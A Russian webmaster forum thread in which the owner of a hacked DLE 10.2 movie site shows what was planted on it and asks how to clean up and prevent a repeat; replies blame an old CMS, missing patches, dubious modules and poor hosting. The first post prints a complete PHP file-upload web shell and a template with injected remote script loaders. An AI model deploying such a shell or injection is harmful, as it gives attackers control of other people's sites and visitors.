Редактор темы

Вопрос? Как взломали сайт? как защититься?

  • Автор темы Автор темы uskino
  • Дата начала Дата начала

uskino

PRO Users
Регистрация
20 Окт 2015
Сообщения
762
Рейтинг реакций
105
Баллы
43
Возраст
32
1/3
Автор темы
В общем ситуация такая. Стоит лиц. dle 10.2 версии, все доступные баг-фиксы сделаны. В один прекрасный день отдыха чисто по случайности заметил, что траф хорошенько так упал с яшки, аж в два раза. Перекрестился, что не в конце отдыха и написал Платону. А он говорит санкции за плохое качество мобильных страниц и мол идите проверяйте на подписки и т.д.
Ну я начал ковыряться, нашел скрипт на главной странице левый вот с таким содержимым:
Код:
<script type="text/javascript" src="/rkt.php?yab=true&key=3294b9f3bd44c4b"></script>
Самого этого файла у меня на сервере не было.

По мимо кода, еще были залиты файлы в корень с таким содержимым:
Код:
<?php
echo "Path: ".dirname(__FILE__)."<br>";
if (isset($_POST['dir']) && isset($_FILES['uploadfile']['name']))
{
    $uploaddir = $_POST['dir'];
    $uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);
    if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile))
        echo "UPLOAD COMPLITED";
    else  echo "UPLOAD ERROR";
}
?>
<form action="" method="post" enctype="multipart/form-data">
UploadDirPath:<input type="text" name="dir" value = "<?php echo "./"; ?>"><br>
<input type="file" name="uploadfile"><br>
<input type="submit" value="UP">
</form>
Я так понял этот скрипт может че угодно на сайт залить в корень.

Код:
<!DOCTYPE html>
<html lang="ru" prefix="og: Open Graph protocol
              video: http://ogp.me/ns/video#
              ya: http://webmaster.yandex.ru/vocabularies/" >
<head>
    <meta name="viewport" content="user-scalable=no, initial-scale=1.0, maximum-scale=1.0, width=device-width">
    {headers}
    <link rel="shortcut icon" href="/favicon.ico"/>
    <meta name="revisit-after" content="1 days">
    <link href="/uploads/play.png" rel='image_src'/>
    <link rel="stylesheet" href="{THEME}/css/mini.css">
    <link rel="stylesheet" href="{THEME}/css/style.css">
    <link rel="stylesheet" href="{THEME}/css/engine.css"><script src="//yadropro.ru/bigcinema-onlineru"></script>
    {include file='engine/metagen.php?a=get&r=name&t=<meta {r}="{p}" content="{v}"/>'}
    {include file='engine/metagen.php?a=get&r=property&t=<meta {r}="{p}" content="{v}"/>'}
</head>
<body>
{AJAX}
<div class="inner row">
    <div id="header">
        <div class="col l3 m4 s12 first">
            <div class="logo">
                <a rel="nofollow" id="mainlogo" title="Сериалы онлайн" href="/"></a>
            </div>.
        </div>

        <div class="col l6 m4 s12 middle">
            {include file="topmenu.tpl"}
            <div class="clear"></div>
            <div class="message">
            

            
            </div>
        </div>

        <div class="col l3 m4 s12">
            <div class="socik">
                <noindex>
                <script type="text/javascript" src="//yastatic.net/share/share.js" charset="utf-8"></script>
                <div class="yashare-auto-init" data-yasharel10n="ru" data-yasharetype="small" data-yasharequickservices="vkontakte,facebook,twitter,odnoklassniki,gplus" data-yasharetheme="counter">
                </div>
                </noindex>
            </div>
            {login}
        </div>

        <div class="clear"></div>
    </div>

    <div class="mob-menu">Навигация по сайту</div>

    <div class="podhead l12 m12 s12">

        <div class="col l7 m6 s12">
            [aviable=main]
            <h1 class="tag_title">Фильмы и сериалы 2018 смотреть онлайн</h1>
            [/aviable] [not-aviable=main]
            <div class="tag_title">
                Фильмы и сериалы 2018 смотреть онлайн
            </div>
            [/not-aviable]
        </div>

        <div class="col l5 m6 s12 poisk">
            <div class="search">
                <form method="post">
                    <input type="hidden" name="do" value="search">
                    <input type="hidden" name="subaction" value="search">
                    <input name="story" placeholder="Поиск..." type="text" class="f_search">
                    <input type="submit" class="bigbtn" value="Найти">
                </form>
            </div>
        </div>

        <div class="clear"></div>
    </div>

[aviable=main]
    <div class="slider">
        <div class="tophot row">
            {custom xfields="slider" template="justify" category="1-50" order="date" limit="6" cache="no"}
        </div>
        <div class="clear"></div>
    </div>
[/aviable]

    <div class="col l8 m7 s12 maincont">

    [not-group=1,2,3,4]
        
<center><iframe width="600" height="330" src="//utraff.com/index.php?r=iframe/index&id=1521" frameborder="0" scrolling="no"></iframe></center>
        
            [/not-group]
 
        [aviable=main|cat|xfsearch]
        <div class="xsort-area ignore-select">
            <div>Сортировать по:</div>
            {include file="engine/mods/xsort/selected.php"}
        </div>
        [/aviable]
    
        [aviable=showfull]{speedbar}[/aviable]

        [aviable=cat]{include file="category.tpl"}[/aviable]

        {content}{info}

    </div>

    <div class="col l4 m5 s12 sidebar">
        {include file="sidebar.tpl"}
<!--
        <div class="popul">
            <div class="title">Популярные фильмы</div>
            {custom xfields="skorof" template="justify1" category="1-50" order="date" limit="6"}
        </div>
-->
        [not-group=1,2,4]
        <noindex>
        [banner_tizer_p]
{banner_tizer_p}
[/banner_tizer_p]
        </noindex>
        [/not-group]
    </div>



    <div class="col l12 m12 s12">
        [aviable=main]
        <div class="mainbot">
    
        </div>
        [/aviable]
        [aviable=cat|main]{include file="engine/modules/catface.php"}[/aviable]
    </div>

    <div class="col l12 m12 s12 footer">
        <div class="links">
            <a rel="nofollow" target="_blank" href="/" title="BigCinema">Главная</a> |
            <a rel="nofollow" target="_blank" href="/serialy/" title="Смотреть сериалы онлайн">Сериалы</a> |
            <a rel="nofollow" target="_blank" href="/sitemap.xml" title="Карта сайта">Карта сайта</a>
        </div>
    <!--LiveInternet counter--><script type="text/javascript">
document.write("<a href='//www.liveinternet.ru/click' "+
"target=_blank><img src='//counter.yadro.ru/hit?t57.6;r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random()+
"' alt='' title='LiveInternet' "+
"border='0' width='88' height='31'><\/a>")
</script><!--/LiveInternet-->
        <div class="copy">
            Serial-smotret.online - Фильмы и сериалы 2017 смотреть онлайн без регистрации и в хорошем качестве HD 720
        </div>

        <div class="li">
    
        </div>
    </div>

</div>


<script type="text/javascript">
$(document).ready(function() {

    var winBr = $(window).width();
    if(winBr<800){
        $(".podhead").prepend( $(".top_film") );
    }


    $(".mob-menu").click(function() {
        $(".top_film").slideToggle();
    });

    $(".mob-user").click(function() {
        $(this).slideToggle();
        $(".userinout").slideToggle();
    });
});
</script>
 
 
    <noindex>
    <script type="text/javascript" src="/engine/classes/min/index.php?charset=windows-1251&amp;f={THEME}/js/tabs.js,{THEME}/js/tabsfull.js,{THEME}/js/tr.js&amp;7"></script>
    <script type="text/javascript" src="{THEME}/js/soon.js"></script>



    <!-- Yandex.Metrika counter -->
<script type="text/javascript">
    (function (d, w, c) {
        (w[c] = w[c] || []).push(function() {
            try {
                w.yaCounter34984820 = new Ya.Metrika({
                    id:34984820,
                    clickmap:true,
                    trackLinks:true,
                    accurateTrackBounce:true,
                    webvisor:true
                });
            } catch(e) { }
        });

        var n = d.getElementsByTagName("script")[0],
            s = d.createElement("script"),
            f = function () { n.parentNode.insertBefore(s, n); };
        s.type = "text/javascript";
        s.async = true;
        s.src = "https://mc.yandex.ru/metrika/watch.js";

        if (w.opera == "[object Opera]") {
            d.addEventListener("DOMContentLoaded", f, false);
        } else { f(); }
    })(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/34984820" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
</div></noindex>

[not-group=1,2,3,4][banner_brend]
{banner_brend}
[/banner_brend][/not-group]

<script>
function xsort_empty(){
    $("#dle-content").html('<div class="xsort_empty">Ничего не найдено</div>');
}

$(document)
.on('click','.xsort-selected',function(e){
    var ul = $(this).parents('.xsort-div').find('.xsort-ul');
    var d = ul.css('display');
    $('.xsort-ul').hide();
    if(d=='none') ul.slideDown(200);
//    var litop = ul.find('li.current')[0].offsetTop-31;
//    ul.animate({'scrollTop':litop+'px'},100);
    return false;
})
.on('click','.xsort-ul li',function(){
    $this = $(this);
    var text = $this.text();
    var val = $this.data('val');
    var field = $this.parents('.xsort-ul').data('field');
    var sel = $this.parents('.xsort-div');
    if(val!=='') sel.addClass('xsort-active');
    else sel.removeClass('xsort-active');
    sel = sel.find('.xsort-selected');
    var url = window.location.href;
    if(field=='defaultsort'){
        $this.siblings().removeClass('xasc xdesc');
        sel = sel.find('span');
        if(val!==''){
            if($this.hasClass('xdesc')){
                $this.removeClass('xdesc').addClass('xasc');
                sel.attr("class","xasc");
            }else{
                $this.removeClass('xasc').addClass('xdesc');
                sel.attr("class","xdesc");
            }
        }else{
            sel.removeClass('xasc xdesc');
        }
    }else{
        if($(this).hasClass('current')){
            $this.parents('.xsort-ul').find('li').eq(0).click();
            return false;
        }
    }
    sel.html(text);
    $this.addClass('current').siblings().removeClass('current');

    if(url.indexOf('/page/')>=0){
        url = url.split('/page/');
        url = url[0]+'/';
    }
    ShowLoading();
    $(".berrors").remove();
 
    $.ajax({
        url: url,
        type: "POST",
        method: "POST",
        data: {xsort:1,xs_field:field,xs_value:val}
    }).done(function(d){
        HideLoading();
        var html = $("#dle-content",d).html();
        if(html){
            $("#dle-content").html(html);
            if(url != window.location.href) window.history.pushState(null, null, url);
        }else xsort_empty();
    }).fail(function(d){
        HideLoading();
        xsort_empty();
    })
})
.on('click','body:not(.xsort-ul)',function(){
    $('.xsort-ul').fadeOut(100);
})
.on('click','.xsort-div-filler',function(){
    ShowLoading();
    $('#xsort-admin').remove();
    $('body').append('<div id="xsort-admin" title="Поиск и формирование списка значений доп. полей" style="display:none;"/>');
    $.post(dle_root+"engine/mods/xsort/admin.php",{do:'start'},function(d){
        HideLoading();
        $('#xsort-admin').html(d).dialog({
            width: '600px',
            buttons: {
                'Закрыть':function(){
                    $(this).dialog('close');
                }
            }
        });
    })
})
.on('click','.xsort-admin-area ul li',function(){
    var ul = $(this).parents('ul');
    ul.addClass('loading');
    if(!$(this).hasClass('current')) $(this).removeClass('xreverse');
    var reverse = $(this).hasClass('xreverse');
    $(this).toggleClass('xreverse');
    $(this).addClass('current').siblings().removeClass('current');
    $.post(dle_root+"engine/mods/xsort/admin.php",{field:$(this).data('field'),reverse:reverse},function(d){
        ul.removeClass('loading');
        $('.xsort-admin-area pre code').html(d);
    })
})
.on('click','.xsort-div-clearall',function(){
    var url = window.location.href;
    if(url.indexOf('/page/')>=0){
        url = url.split('/page/');
        url = url[0]+'/';
    }
    ShowLoading();
    $(".berrors").remove();
    $.ajax({
        url: url,
        type: "POST",
        method: "POST",
        data: {xsort:1,xs_field:'clearallfields'}
    }).done(function(d){
        HideLoading();
        window.location.href = url;
    }).fail(function(d){
        HideLoading();
        xsort_empty();
    })
})
</script>

<!-- Yandex.Metrika counter --> <script type="text/javascript" > (function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter46971411 = new Ya.Metrika({ id:46971411, clickmap:true, trackLinks:true, accurateTrackBounce:true }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); </script> <noscript><div><img src="https://mc.yandex.ru/watch/46971411" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter -->
<script type="text/javascript" src="/rkt.php?yab=true&key=3294b9f3bd44c4b"></script>
</body>
</html>

Во втором спойлере тпл файл с названием "main.tpl" со ссылкой в описании на "serial-smotret.online" (там майнят если что, осторожно). Там же есть такой же скрипт, которые мне в main подключили. Мб что-то где-то подменялось и он грузился с этого сайта, а не с моего, поэтому его и не было у меня на сервере или как, не знаю, хз. Ответьте, кто шарит)

Админы хостинга говорят, что пароли никто не спер 100%, а был залит шелл и дело тут в дырах в самой CMS. Но я всевозможные фиксы ставлю сразу, как только на глаза попадаются и на данный момент стоят все.

Вот в принципе вся история. Пароли все естественно поменяны, все лишние файлы удалены с сервера.
Вопросы:
1. Что это вообще такое?
2. Как это все дело могло попасть на сайт?
3. Как лечить? Вдруг чего забыл.
4. Что можно сделать на будущее, чтобы подобных проблем не было?
 
Последнее редактирование:
Могли взломать сервер и попасть к тебе.
Может быть что-то в шаблоне в скриптах зашифровано.
Может вирусы на компе у тебя.
Может патчи не все своевременно ставил.
... и т.д.
 
патчи патчами, но лучше обновлять движек, ибо 10.2, но уже никуда не лезет, хотя бы 11.3 поставь
 
Автор темы
Могли взломать сервер и попасть к тебе.
Может быть что-то в шаблоне в скриптах зашифровано.
Может вирусы на компе у тебя.
Может патчи не все своевременно ставил.
... и т.д.
После изучения логов хостер сказал, что 100% сервер не был взломан, дело в php скриптах. Шаб чистый на протяжении 5 лет используется уже. Так что варианты отпадают эти скорей всего.
Патчи.... сейчас одуплил, что последний патч поставлен не был, там файлик masha заменить нужно было. Это всему беда скорей всего?
Интересуют варианты контрацепции сайта от подобных вещей. Можно не бесплатно)

патчи патчами, но лучше обновлять движек, ибо 10.2, но уже никуда не лезет, хотя бы 11.3 поставь
Обновлять не лучший вариант, очень много технических переделок сделано. То есть 10.2 даже с патчами уязвима больше чем новые версии?
 
После изучения логов хостер сказал, что 100% сервер не был взломан, дело в php скриптах. Шаб чистый на протяжении 5 лет используется уже. Так что варианты отпадают эти скорей всего.
Патчи.... сейчас одуплил, что последний патч поставлен не был, там файлик masha заменить нужно было. Это всему беда скорей всего?
Интересуют варианты контрацепции сайта от подобных вещей. Можно не бесплатно)


Обновлять не лучший вариант, очень много технических переделок сделано. То есть 10.2 даже с патчами уязвима больше чем новые версии?
дело может быть и не только в движке, а и в модулях, поставил какой левый и бесплатный модуль вот результат.., а может быть патчи, если качал не с офф сайта
 
После изучения логов хостер сказал, что 100% сервер не был взломан, дело в php скриптах. Шаб чистый на протяжении 5 лет используется уже. Так что варианты отпадают эти скорей всего.
Патчи.... сейчас одуплил, что последний патч поставлен не был, там файлик masha заменить нужно было. Это всему беда скорей всего?
Интересуют варианты контрацепции сайта от подобных вещей. Можно не бесплатно)


Обновлять не лучший вариант, очень много технических переделок сделано. То есть 10.2 даже с патчами уязвима больше чем новые версии?
Почему не вариант? Нанимаешь человека, он аккуратно все правки переносит со старой версии на новую. Новая 12.0. ваша устарела морально. Версии ниже 11 уязвимы
 
Автор темы
Почему не вариант? Нанимаешь человека, он аккуратно все правки переносит со старой версии на новую. Новая 12.0. ваша устарела морально. Версии ниже 11 уязвимы
Да потому что жадность)) Работы довольно много там придется сделать. Ладно, значит буду решать с обновками. Спасибо 😉
 
Как как, через дырявые хостинги ломают. Ломают в двух случаях, либо хостинг дырка и туда льют всё что не попадя, либо сами админы хостинга если это гавно без лицензии левачат. Как поставил свои сервера, лет 8 уже ни один сайт ни одной тематики не взламывали, при том что есть сайты которые еще на первой джумле фигачат, в последние 2 года сделал несколько киносайтов, по 100-200к посещалка, тоже никто не взламывает, просто доступ рутовый только у меня и лью только я любые файлы. Это как с антивирусом, когда ищут лучше, но ты не лазь по гавно-сайтам и не будет у тебя вирусов даже если у тебя нет антивируса.
Единственная защита использовать хостинг, у которого есть лицензия и лицензия бьётся у ркн как реальная. Такой хост несет ответственность за ваши файлы и за то, что у вас лежит.
 

Похожие темы Последние темы Популярные темы

Назад
Сверху